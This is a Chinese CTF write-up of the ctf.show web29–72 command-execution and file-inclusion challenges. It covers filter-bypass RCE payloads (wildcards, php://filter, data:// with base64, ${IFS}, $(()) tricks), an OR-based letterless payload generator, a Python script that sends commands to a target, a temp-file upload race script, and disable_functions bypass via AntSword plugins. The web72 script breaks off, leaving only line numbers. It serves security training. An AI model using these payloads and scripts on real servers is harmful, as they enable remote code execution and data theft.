命令执行


web29

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag,使用通配符即可?c=system('tac ./f*');


web30

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

本题过滤了system函数等效函数如下:

  • string exec( string $command[, array &$output[, int &$return_var]] )
    • command 要执行的命令。
    • output 如果提供了 output 参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如 \n 字符。请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加,请在传入 exec() 函数之前对数组使用 unset() 函数进行重置。
    • return_var
      如果同时提供 output 和 return_var 参数,命令执行后的返回状态会被写入到此变量。
  • void passthru( string $command[, int &$return_var] ) 执行外部程序并且显示原始输出
    同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。通过设置 Content-type 为 image/gif,然后调用 pbmplus 程序输出 gif 文件,就可以从 PHP 脚本中直接输出图像到浏览器。
  • shell_exec() 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  • resource popen( string $command, string $mode) 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
    如果未找到要执行的命令,会返回一个合法的资源。这看上去很怪,但有道理。它允许访问 shell 返回的任何错误信息:
    返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。当模式为 ‘r’,返回的文件指针等于命令的 STDOUT,当模式为 ‘w’,返回的文件指针等于命令的 STDIN。
  • proc_open() 双向popen
  • void pcntl_exec( string $path[, array $args[, array $envs]] ) — 在当前进程空间执行指定程序
    path必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。
    args是一个要传递给程序的参数的字符串数组。
    envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
  • 反引号(`)同shell_exec
    反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
    与其它某些语言不同,反引号不能在双引号字符串中使用。
    因此,本题使用以上函数代替shell函数即可,另外注意,exec函数由于权限问题不能正确读取flag,需用shell_exec函数代替

web31

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

使用?c=eval($_GET[1]);&1=system('tac f*');绕过所有对于c的字符串过滤


web32

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

相比较上一个题目,本题增加了对单引号的过滤,此时可以使用include来进行文件引用,因为文件引用不需要单引号
除了文件引用,本题还需要通过php伪协议来进行绕过:
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。因此,在一些题目绕过中,我们会使用php://filter来进行文件读取操作

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php


web33

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

与上一题对比,本题多增加了对php的过滤操作,因此再使用php伪协议便没有用了
因此,我们需要使用data伪协议来进行绕过:
data:
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
使用时,在data://text/plain,data://text/plain;base64,后加入想要执行的代码即可
payload:?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac f*');?>


web34

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

增加绕过了一些东西,不过对我们上一个payload没用,用上一题的payload即可


web35

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

新增了没什么用的过滤,同上


web36

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

把数字过滤了,但是依旧没啥用······
payload:?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>


web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

从命令执行到了文件包含,此时吧flag过滤掉了,传入c参数,然后引用c的内容
回想一下我们之前做的几个题目,先是通过include引入一个参数然后通过伪协议进行操作读取,这下直接进入了下一步,所以直接使用伪协议读取即可


web38

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

本题比上一道题目多过滤了flag和php等,但是我们可以使用data协议加base64编码进行绕过,从而成功读取到flag
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==


web39

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

他只是在引用的时候对于我们传入的c后面加了一个php而已,并不影响我们使用data伪协议读取文件
payload:?c=data://text/plain,<?php system('tac f*')?>


web40

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

首先需要介绍几个新的函数:

  1. localeconv()返回包含本地化数字和货币格式信息的关联数组。
    localeconv()根据setlocale()设置的当前语言环境返回数据。返回的关联数组包含以下字段:
    数组元素 描述
    小数点 小数点字符
    千_sep 千位分隔符
    分组 包含数字分组的数组
    int_curr_symbol 国际货币符号(即美元)
    货币符号 当地货币符号(即$)
    mon_decimal_point 货币小数点字符
    mon_thousands_sep 货币千位分隔符
    mon_分组 包含货币分组的数组
    正号 为正值签名
    负号 负值的符号
    int_frac_digits 国际小数位
    分形数字 本地小数位
    p_cs_在前 true如果currency_symbol 位于正值之前,false 如果它位于正值之后
    p_sep_by_space true如果空格将currency_symbol 与正值分隔开,false反之
    n_cs_在前 true如果currency_symbol在负值之前,false 如果它在负值之后
    n_sep_by_space true如果空格将currency_symbol 与负值分隔开,false反之
    p_sign_posn 0 - 数量和货币符号用括号括起来;1 - 符号字符串位于数量和货币符号之前;2 - 符号字符串位于数量和货币_符号之后;3 - 符号字符串紧接在currency_symbol之前;4 - 符号字符串紧跟在currency_symbol之后
    n_符号_位置 0 - 数量和货币符号用括号括起来;1 - 符号字符串位于数量和货币符号之前;2 - 符号字符串位于数量和货币_符号之后;3 - 符号字符串紧接在currency_symbol之前;4 - 符号字符串紧跟在currency_symbol之后
  2. pos():同current() — 返回数组中的当前单元
  3. scandir(): — 列出指定路径中的文件和目录
    array scandir( string $directory[, int $sorting_order[, resource $context]] ):返回一个 array,包含有 directory 中的文件和目录。
  4. array_reverse():返回单元顺序相反的数组
  5. next ():— 将数组中的内部指针向前移动一位
    next() 和 current() 的行为类似,只有一点区别,在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。
  6. show_source():同highlight_file — 语法高亮一个文件
    使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。

payload: $c=show_source(next(array_reverse(scandir(pos(localeconv())))));
payload解析:
使用loacleconv函数调用当前环境下的各个单位变量,然后使用pos\current函数取得之前被禁用的\.,使用scandir函数获取当前目录,对目录进行反转,获取第二个文件内容即可


web41

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

本题过滤了数字字母,但是没有过滤大写,第一反应是使用大写字母进行构造绕过,但是其中过滤了$等符号,不是很好实现。
其次我们就要想到无字母数字的rce实现,题目中过滤了异或和取反;自增和自减,但是|运算符还剩下,我们可以使用他来做文章
再其次,我们还可以使用一些骚办法,比如使用汉字来绕过无数字字母的rce
原理就是通过两个不同字符的或运算进行操作,从而获得到我们想要使用的字符的目的
给出两个很好用的脚本:

  1. 使用此脚本生成攻击字典
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <?php
    $myfile = fopen("rce_or.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

    if($i<16){
    $hex_i='0'.dechex($i);
    }
    else{
    $hex_i=dechex($i);
    }
    if($j<16){
    $hex_j='0'.dechex($j);
    }
    else{
    $hex_j=dechex($j);
    }
    $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    echo "";
    }

    else{
    $a='%'.$hex_i;
    $b='%'.$hex_j;
    $c=(urldecode($a)|urldecode($b));
    if (ord($c)>=32&ord($c)<=126) {
    $contents=$contents.$c." ".$a." ".$b."\n";
    }
    }

    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);
  2. 使用此脚本进行跑网站
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    # -*- coding: utf-8 -*-
    import requests
    import urllib
    from sys import *
    import os
    os.system("php rce_or.php") #没有将php写入环境变量需手动运行
    if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py <url>')
    print("eg: python exp.py http://ctf.show/")
    print("="*50)
    exit(0)
    url=argv[1]
    def action(arg):
    s1=""
    s2=""
    for i in arg:
    f=open("rce_or.txt","r")
    while True:
    t=f.readline()
    if t=="":
    break
    if t[0]==i:
    #print(i)
    s1+=t[2:5]
    s2+=t[6:9]
    break
    f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

    while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
    data={
    'c':urllib.parse.unquote(param)
    }
    r=requests.post(url,data=data)
    print("\n[*] result:\n"+r.text)
    顺利解出flag

web42

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

可以参考这篇博客来查看语句" >/dev/null 2>&1"的作用
总结来说:

    1. Linux中将标准输入使用文件描述符0、标准输出使用文件描述符1、错误输出使用文件标识符0
    1. Linux使用>>>来进行重定向
    1. >/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”
    1. 2>&1将错误输出和正确输出都绑定在一个端口上丢弃,将不会进行任何错误信息或者标准信息的输出

因此,我们使用分号进行污染,将后面那句进行闭合即可
payload:?c=tac flag.php;ls


web43

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

本题过滤了分号,但是可以使用换行进行绕过,将换行的url编码%0A输入,即可顺利将其转到下一行进而绕过


web44-52

  • web44过滤了flag,使用通配符即可
  • web45过滤了空格,使用%09等即可
  • web46过滤了通配符,?c=tac%09????.???%0a即可
  • web47过滤加了点没用的,上一问即可
  • web48同上
  • web49同上
  • web50将百分号过滤了,使用新的空格<即可绕过
  • web51同50
  • web52使用${IFS}和$IFS当作空格即可(flag在根目录)

web53

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

本题没有什么难度,使用两个单引号绕过对命令的过滤;使用${IFS}对空格过滤即可


web54

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

显然,这次绝对意义上过滤了我们之前使用的一些函数和flag等关键字
但是对于指令,我们的mv指令还在,因此使用mv指令对flag文件进行重命名
payload:?c=mv${IFS}fla?.php${IFS}rce.txt
此外,还可以一直使用通配符进行解题:c=/bin/c??${IFS}????????
思考:如果这个题目将问号过滤了之后还能不能做?是否需要使用异或进行操作


web55

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这个题目中,过滤了字母,过滤了分号引号百分号等我们经常用的一些符号
再仔细看正则文件,发现并没有过滤.,而在linux系统中,点是可以进行脚本执行的,因此如果我们可以写一个脚本上传并且执行,那岂不是就可以顺利的获取rce了嘛?
在php中,一些被上传的脚本文件都会被临时存在/tmp/xxxxxx中,所有的都可以对他进行读写,其中名字最后一位是大写字母,因此我们可以使用通配符进行匹配,拿到脚本的执行权限
先写一个文件上传的脚本:

1
2
3
4
5
6
7
8
9
10
11
import requests

while True:
url = "http://5e47361f-eeb7-49c4-8007-9dd7c94f91ee.challenge.ctf.show/?c=.+/???/????????[@-[]"
res = requests.post(url=url,files={'file':('1.php',b'ls')})
if res.status_code == 200:
print(res.text)
break
# if res.text.find('{') >0:
# print(res.text)
# break

网上脚本使用返回的文件判断是否含有关键字来判断是否正确竞争到应有的页面,对网上脚本进行了一小步优化,使用返回状态码来进行判断,若返回为空可以多次竞争来获取正常的文件,优化更换命令时,不需要再次预测页面可能出现关键字来进行匹配。执行脚本可以顺利的获取flag


web56

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

本题和上一题一样,没有将.过滤掉,因此还可以使用上一问的脚本进行竞争,顺利取得flag


web57

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

可以看到这个题目中,过滤内容较多,但是$符号并不在过滤内容之中
那我们需要查看一下linux中$都可以怎么用了
*用法一:显示脚本参数($0、$?、$*、$@、$#、$$、$!)(本质上属于变量替换)
* $0:就是该bash文件名,个位数的,可直接使用数字,但两位数以上,则必须使用 {} 符号来括住,如${10}.
* $?:是上一指令的返回值,成功是0,不成功是1。一般来说,UNIX(linux) 系统的进程以执行系统调用exit() 来结束的。这个回传值就是status值。回传给父进程,用来检查子进程的执行状态。一般指令程序倘若执行成功,其回传值为 0;失败为 1。
* $*:所有脚本参数的内容:就是调用调用本bash shell的参数。
* $@:基本上与上面相同。只不过是“$*”返回的是一个字符串,字符串中存在多外空格。 “$@”返回多个字符串。
* $#:返回所有脚本参数的个数。
* $$ :Shell本身的PID(ProcessID),即当前进程的PID。
* $! :Shell最后运行的后台Process的PID
* $- :使用Set命令设定的Flag一览

  • 用法二:获取变量与环境变量的值
  • 用法三:$( )与``(反引号):返回括号中命令的结果。区别在于使用反引号需要进行跳脱处理( cmd3 cmd2 \cmd1``);而对于$()不一定所有的linux系统都支持
  • 用法四:${ }变量替换
  • 用法五:$(( ))属于执行计算公式

payload:使用$(())构造36或者使用$[]构造36:
$[~$[~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]+~$[]]]

$((~$((~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())+~$(())))))
执行不出来操
原来是需要对payload进行一次编码啊,因为加号会被识别为空格


web58-59

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

很简单的题目代码,传入c时候发现各种常用函数都被过滤掉了,比如system、exec、passthru等
突然想到蚁剑中有绕过disable function的插件,那是不是可以使用蚁剑来连接木马呢?
蚁剑直接连接,成功拿到flag


web60

连接蚁剑后不能执行命令,flag.php发现是空的,使用插件绕过disable function,选择模式PHP7_Backtrace_UAF顺利执行命令


web61-70

  • web61-65使用插件PHP_Concat_UAF顺利执行命令,php.ini 位置在/usr/local/etc/php/php.ini
  • ls的等效代替可以是c=print_r(scandir('./'));或者var_dump(scandir('/'));c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
  • web66的flag在根目录下的flag.txt中
  • web67直接引入flag.txt即可
  • web68中源代码甚至看不到,盲猜还是和之前一样通过传入c来进行rce的,尝试使用传入c来扫描目录,成功扫描,之后直接引入flag.txt即可
  • require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include 只产生警告(E_WARNING),脚本会继续运行
  • require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
  • DirectoryIterator迭代器应用于遍历一个目录下的所有文件,规则是new DirectoryIterator($PATH)
  • glob:// — 查找匹配的文件路径模式,是一个数据流包装器。

web71

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

使用了ini_set对错误进行设置,让其能显示到屏幕上
ps:尽管 display_errors 也可以在运行时设置 (使用 ini_set()),但是脚本出现致命错误时任何运行时的设置都是无效的。因为在这种情况下预期运行的操作不会被执行

此外介绍两个函数:

  • ob_get_contents — 返回输出缓冲区的内容
  • ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
  • 此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

本题将缓冲区的内容清除而且替换为了?,我们想得到正常回显就需要将替换绕过,也就是想办法让他在缓冲区之前我们完成数据的显示即可
因此在上一题的payload之后加入exit()函数退出脚本即可绕过缓冲区的替换
c=include('/flag.txt');exit();


web72

源代码如下:

1
2
3
4
5
6
7
<?php



?>

你要上天吗?

与上一题类似,flag在flag0.txt中,妈的引入不了?????
扫描目录:https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
查询可知,由于open_basedir存在,不能绕过当前目录读取上级目录,于是去寻找解决办法https://blog.csdn.net/weixin_54648419/article/details/123683025?ydreferer=aHR0cHM6Ly9jbi5iaW5nLmNvbS8%3D

  • mkdir–创建目录
  • chdir–改变目录
    最后用了一个脚本进行绕过从而得到flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
